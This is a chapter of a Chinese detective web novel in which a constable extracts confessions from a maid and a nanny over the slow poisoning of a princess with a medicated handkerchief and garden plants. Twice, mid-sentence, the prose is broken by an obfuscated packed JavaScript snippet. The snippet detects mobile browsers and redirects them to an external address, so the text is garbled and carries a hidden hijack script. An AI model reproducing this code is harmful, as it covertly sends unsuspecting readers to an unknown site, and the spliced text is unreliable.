翠喜道:“春杏她娘说,孩子送去刘家之后,她就再没见过。刘家那边她也不敢去打听,怕被人发现。她只知道那家姓刘,在城外开杂货铺的,旁的一概不知。” 穆青青点点头,又问:“赵夫人打算怎么办?” 翠喜道:“夫人说,光凭春杏她娘的话还不够,得把春杏也叫回来对质。可春杏在王府,不好直接叫。夫人想了个法子,让人给王府递话,说赵老夫人想见见春杏,问问王妃的病情。春杏是赵家的家生奴,老夫人要见她,王府没有不放人的道理。” 穆青青心里一动:“春杏回来了?” 翠喜点头:“昨儿个下午回来的。一进门,夫人就把她和她娘关在一间屋子里,让她们自己说。春杏她娘吓得直哭,拉着春杏的手说‘闺女啊,你到底做了什么事,主家都知道了’。春杏起初还嘴硬,说什么都没做,是王妃赏的银子,让她寄回家给弟弟娶亲用的。夫人让人把刘家的事、担保的事、那笔银子的事,一样一样摆在她面前,她就不说话了。” “还是不认?” “不认。”翠喜摇头,“她跪在地上,一声不吭。夫人问她是不是张侧妃指使的,她摇头。问她是不是收了别人的好处,她也摇头。问急了,她就说‘奴婢什么都没做,是冤枉的’。” 穆青青沉吟片刻:“赵夫人怎么处置的?” 翠喜道:“夫人说,家生奴犯了事,按规矩要送官府。今儿一早就让人把春杏送到六扇门来了,这会儿应该已经到了。” 穆青青立刻站起身:“我这就回去。” 回到六扇门,春杏已经被关在偏厅里了。 穆青青推门进去时,她正蜷缩在墙角,双手抱膝,脸埋在膝盖 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17387168|194137||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 里。听见脚步声,她抬起头,眼睛红肿,脸上有泪痕,但眼神里有一种说不清的倔强。 “春杏。”穆青青在她对面坐下,声音平和,“你知道为什么把你送到这里来吗?” 春杏摇头:“奴婢不知道。奴婢什么都没做。” 穆青青没有急着追问,只是从袖中取出一块叠得整整齐齐的手帕,放在桌上。 “这块手帕,你认识吗?” 春杏的脸色瞬间变了。 那块手帕,正是她每日给王妃擦脸擦手的那块。 手帕不见了之后,她还以为只是丢了,没想到…… “手帕上的东西已经验出来了。”穆青青的声音不紧不慢,“九节菖蒲膏。这东西单独用无害,可和王妃每日服用的安神药里的那味药混在一起,就成了慢性毒药。你每日用这块手帕给王妃擦脸擦手,药膏渗进皮肤,日积月累……” 她顿了顿,看着春杏越来越白的脸。 “王妃的病,就是这么来的。” 春杏的身子剧烈地抖了一下,嘴唇哆嗦着,却说不出话来。 “你娘已经说了。”穆青青继续道,“刘家的孩子,那笔银子,那个姓张的担保人。你还有什么要说的?” 春杏的眼泪涌了出来,但她咬着嘴唇,没有开口。 穆青青又道:“你让你娘把弟弟送走,是怕他受牵连。说明你知道自己在做什么,也知道后果是什么。你心里是有家人的,你不愿意他们跟着你一起遭殃。可你有没有想过王妃?她待你如何?” 春杏的嘴唇哆嗦了一下:“……很好。” “既然很好,你为什么要害她?” 春杏猛地抬起头,眼泪哗地涌了出来:“奴婢没有害王妃!奴婢……奴婢只是……”她说到这里,忽然又闭上了嘴,低下头,肩膀剧烈地抖着。 穆青青没有逼她,只是静静地等着。 过了很久,春杏才开口,声音沙哑得像砂纸磨过:“奴婢……只是按照吩咐做事。冯嬷嬷说,那手帕上的药膏是安神的,对王妃的病有好处。花是让王妃屋里好看些,闻着心情好。点心匣子里的药粉,也是安神的。奴婢……奴婢不知道那些东西有毒……真的不知道……” “冯嬷嬷让你做这些,你就做了?没有问过为什么?” 春杏低着头,声音越来越小:“冯嬷嬷说,是侧妃娘娘的意思。侧妃娘娘关心王妃,想帮王妃养好身子。奴婢……奴婢不敢多问……” “那银子呢?刘家的事呢?也是侧妃娘娘的意思?” 春杏沉默了很久,才点了点头。 “冯嬷嬷说,侧妃娘娘心善,知道奴婢家穷,弟弟要娶亲拿不出银子,就赏了奴婢一笔。还说帮奴婢的弟弟找户好人家,让他过好日子。奴婢……奴婢当时昏了头,就答应了……” 穆青青看着她,心里有些不是滋味。这姑娘太蠢,太贪,也太容易被利用。 “春杏,”她放缓了语气,“你把知道的都说出来,对你有好处。你娘和你的两个弟弟,赵夫人说了,只要你说实话,她可以从轻发落。你大弟弟还没成亲,小弟弟更是还不知事,你不想连累他们一辈子吧?” 春杏的身子剧烈地抖了一下。她抬起头,看着穆青青,眼泪糊了满脸。 “奴婢……奴婢说了,能保住他们的命吗?” 86. 瑾王爷(1) 穆青青没有立刻回答。她知道,这个承诺她做不了主。但她还是点了点头:“只要你说的都是实话,我会替你跟赵夫人求情。” 春杏沉默了很久,终于开口。 她说的和穆青青心中推理的差不多,只是更详细些罢了。 冯嬷嬷如何找到她,如何许诺帮她和家人脱籍,如何把银子塞给她,如何教她做事。 手帕上的药膏,是冯嬷嬷给的,让她每日给王妃擦脸擦手时用。 花是府里后花园种的,每天清早由花匠送来,她负责插瓶摆放。 点心匣子里的药粉,是冯嬷嬷让放的,说是安神的。 王妃每日喝的补品,也是冯嬷嬷给的方子,说加了安神的药材,对王妃的病有好处。 “冯嬷嬷说,这些都不会伤身,只是让王妃没力气,不能……”春杏说到这里,声音低得几乎听不见,“不能怀上王爷的孩子……” 穆青青追问:“那后院的花呢?冯嬷嬷有没有说过那些花是做什么用的?” 春杏摇头:“冯嬷嬷只说让奴婢每日在王妃屋里多摆些鲜花,说是王妃闻着心情好。花是府里花匠种的,奴婢不知道那花有问题。” “那菖蒲呢?你知不知道侧妃院子里种了菖蒲?” 春杏愣了一下:“菖蒲?奴婢不知道。奴婢只去过后院几次,没见过什么菖蒲。” 穆青青又问:“冯嬷嬷让你做这些事,有没有给过你什么方子?或者让你转过什么东西?” 春杏想了想,道:“有一次,冯嬷嬷让奴婢把一个纸包转交给花匠方师傅。奴婢不知道里面是什么,冯嬷嬷说是花种子,让方师傅种在后院。别的……就没有了。” 穆青青心里一动:“什么时候的事?” “去年春天。具体哪一天,奴婢记不清了。” 去年春天。正是后院种下醉颜红和菖蒲的时候。 穆青青没有再问,让春杏在供词上画了押。 从偏厅出来,穆青青去找了寇晟。 “大人,春杏招了。”她把供词递过去,“是张侧妃身边的冯嬷嬷指使的。目的是让王妃不能怀孕。” 寇晟接过供词,从头到尾看了一遍。 “冯嬷嬷。”他念了一遍这个名字,“把她带来。” 赵统领面露难色:“大人,冯嬷嬷是张侧妃的陪嫁,在王府当差二十多年了。要抓她,得先过王府这一关。” 寇晟沉默了一会儿。他知道赵统领说得对。六扇门办案,再大的案子也得按规矩来。冯嬷嬷是王府的人,没有王府的许可,他们进不去,也抓不了人。 “我去找王爷。”寇晟站起身。 穆青青想了想,道:“大人,我陪您去。” 寇晟看了她一眼,没有拒绝。 当天下午,两人去了瑾王府。 瑾王爷在正厅接见了他们。他四十出头,面容清瘦,眉目间带着几分书卷气,穿着一件半旧的宝蓝长衫,看着不像个王爷,倒像个清闲的读书人。他的精神不太好,眼底有青黑,像是很久没睡好了。 寇晟开门见山,把春杏的供词、手帕的化验结果、张德贵替刘家做担保的事,一五一十说了。关于后院花圃的事,他暂时按下未提,想等拿到更确凿的证据再说。 瑾王爷听完,沉默了很久。他坐在椅子上,一动不动,脸上的表情像是被抽空了。过了很久,他才开口,声音沙哑:“所以,是侧妃害了王妃?” 寇晟道:“目前所有的证据都指向张侧妃。但我们需要进府查证,找到更多的证据。恳请王爷允许。” 瑾王爷没有立刻回答。他站起身,走到窗边,背对着他们。窗外的阳光照进来,把他的影子拉得很长。 “你们要查什么?”他问。 寇晟道:“首先要查冯嬷嬷。她是张侧妃身边的人,春杏的事就是她经手的。还有后院的花圃,我们需要确认那些花有没有问题。” 瑾王爷沉默了很久,终于点了点头:“好。你们查吧。需要什么,尽管开口。” 当天下午,六扇门的人进了王府。 余肖红带着人,把后院的花圃翻了个底朝天。那些“醉颜红”果然有问题,但更让穆青青在意的是,在花圃的角落里,她们果然还发现了另一种植物。 “菖蒲。”余肖红蹲在地上,用小刀挖出一株,仔细看了看,“不是普通的菖蒲,是‘九节菖蒲’,药用价值很高。这东西本身无毒,但它的根茎磨成粉,和别的药配在一起,就是九节菖蒲膏。” 穆青青问:“这种菖蒲,是谁种的?” 王府的花匠方师傅被叫来问话。那是个五十多岁的老头,在王府管花木十几年了。他看了一眼那株菖蒲,道:“这是王妃身边的春杏姑娘让我种的。说是喜欢菖蒲的香味,让在后院种一些。小的不懂这些,就照办了。” 穆青青又问:“什么时候种的?” 方花匠想了想:“去年春天。侧妃娘娘当时说后院的花太单调,让添些新品种。正好春杏姑娘给了我菖蒲的种子,我就种上了;除了菖蒲,还有那些白色的花,叫什么‘醉颜红’的,也是那时候一起种的。” “种子是谁给的?” 方花匠犹豫了一下,道:“‘醉颜红’的种子是侧妃娘娘身边的冯嬷嬷给的,。说是从南边弄来的新品种,让小的试试。小的就种了,后来开出来的花就是那种白色的,闻着挺香的。” 穆青青和余肖红对视一眼。 去年春天。正是王妃开始生病的时候。 冯嬷嬷。 又是冯嬷嬷。 穆青青让方花匠下去,自己蹲在花圃边上,看着那些被挖出来的菖蒲和醉颜红。 “余姐姐,”她问,“你说张侧妃为何非要种这两种花?” 余肖红摇头:“不知道,不过,醉颜红有一个特点——它的花香非常浓烈,能掩盖其他气味。如果有人想在院子里种菖蒲,又不想被人注意到,在旁边种上醉颜红,那菖蒲的气味就 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17393667|194137||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 会被完全盖住。” 穆青青心里一动:“所以,张侧妃在院子里种醉颜红,不是为了用它的花粉害人,是为了掩盖菖蒲的气味?” 余肖红点头:“有这个可能。菖蒲是常见的观赏植物,种在院子里不会引人怀疑。真正有用的,是它的根茎。那些根茎被挖出来,磨成粉,做成药膏,就是手帕上验出来的那种东西。” 穆青青站起身,看着那片被翻得乱七八糟的花圃,心里那个念头越来越清晰。 张侧妃让人在院子里种菖蒲,是为了掩人耳目地获取菖蒲根茎。而醉颜红,是用来掩盖菖蒲气味的掩护。 而且,她自己正大光明地让花匠种的是“醉颜红”,而真正害王妃生病的“菖蒲”,她却是让春杏出面让花匠种的。 一环扣一环,精妙得令人脊背发凉。 冯嬷嬷很快被带了来。 她五十出头,圆脸,看着和和气气的,被带到偏厅时,脸上还带着笑。可当穆青青把春杏的供词和花圃里挖出来的菖蒲摆在她面前时,那笑容就挂不住了。 “冯嬷嬷,春杏已经招了。”穆青青看着她,“是你指使她做的。手帕上的药膏,花圃里的醉颜红和菖蒲,都是你经手的。你还有什么要说的?” 冯嬷嬷的脸色白了,但嘴还很硬:“奴婢不知道穆捕头在说什么。奴婢只是按侧妃娘娘的吩咐办事,别的什么都不知道。” “侧妃娘娘让你做什么?” 冯嬷嬷咬了咬牙,道:“侧妃娘娘说,王妃身子不好,让奴婢多关照关照。奴婢就找了春杏,让她在王妃屋里多摆些花,多熏些香。这些都是为了王妃好啊。” “那菖蒲呢?醉颜红呢?也都是为王妃好?” 冯嬷嬷不说话了。 穆青青把花圃里挖出来的菖蒲根茎放在桌上:“这东西的根茎磨成粉,配上其他药材,就是九节菖蒲膏。手帕上验出来的,就是这种东西。你还有什么好说的?” 冯嬷嬷的脸色彻底变了。她张了张嘴,想说什么,又咽了回去。 穆青青没有逼她,只是让人把她带下去,等候审讯。 六扇门的人又在王府查了两天,把所有的证据都固定下来。 春杏的供词,冯嬷嬷的指认,花圃里的菖蒲和醉颜红,手帕上的药膏,张德贵替刘家做担保的记录。每一样都指向同一个人——张侧妃。 证据确凿,可以抓人了。 这天清晨,寇晟召集众人,准备去瑾王府拿人。 “赵统领,你带一队人,从正门进。”寇晟布置着任务,“余捕快,你带人从侧门进,控制后院,防止有人销毁证据。林霜,你带人守住后门,别让任何人跑掉。” 众人齐声应诺。 寇晟看向穆青青:“穆捕头,你跟我一起,去见王爷。” 穆青青点头。 正要出发,外面忽然传来一阵急促的脚步声。 一个衙役跑进来,气喘吁吁:“大人!瑾王府来人了!”